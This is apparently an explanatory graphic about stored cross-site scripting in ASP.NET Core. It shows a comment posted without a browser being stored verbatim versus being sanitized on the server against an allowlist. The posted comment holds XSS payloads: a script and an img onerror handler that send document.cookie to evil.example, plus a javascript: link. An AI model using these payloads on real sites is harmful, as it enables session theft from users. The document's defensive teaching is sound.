Nothing in ASP.NET Core rejects the HTML you post.
One call on the server decides what survives.
SUBMITTED COMMENT — POSTED WITH AN HTTP CLIENT, NO BROWSER IN THE REQUEST
<p>
Looks fine.</p><script>
fetch('https://evil.example/steal?c=' + document.cookie)</script>
<img src="x"
onerror="fetch('https://evil.example/steal?c=' + document.cookie)">
<a href="
javascript:alert(document.domain)">click me</a>
action: store-as-posted
WHAT THE ROW HOLDS
<p>Looks fine.</p><script>fetch('https://evil.example/steal?c=' + document.cookie)</script><img src="x" onerror="fetch('https://evil.example/steal?c=' + document.cookie)"><a href="javascript:alert(document.domain)">click me</a>
✕ identical to the posted string
✕ Html.Raw puts it on the next reader's page
action: store-sanitized
WHAT THE ROW HOLDS
<p>Looks fine.</p><img src="x"><a>click me</a>
✓ script element and its contents gone
✓ onerror gone, javascript: href gone
✓ anchor and its text kept
✓ <img src="x"> kept — a broken image, not a script
the cleaning happens here
on the server, before the row is written — Sanitize(form.Body) against an allowlist. Cleaning inside the editor changes neither column, because this request never went through the editor.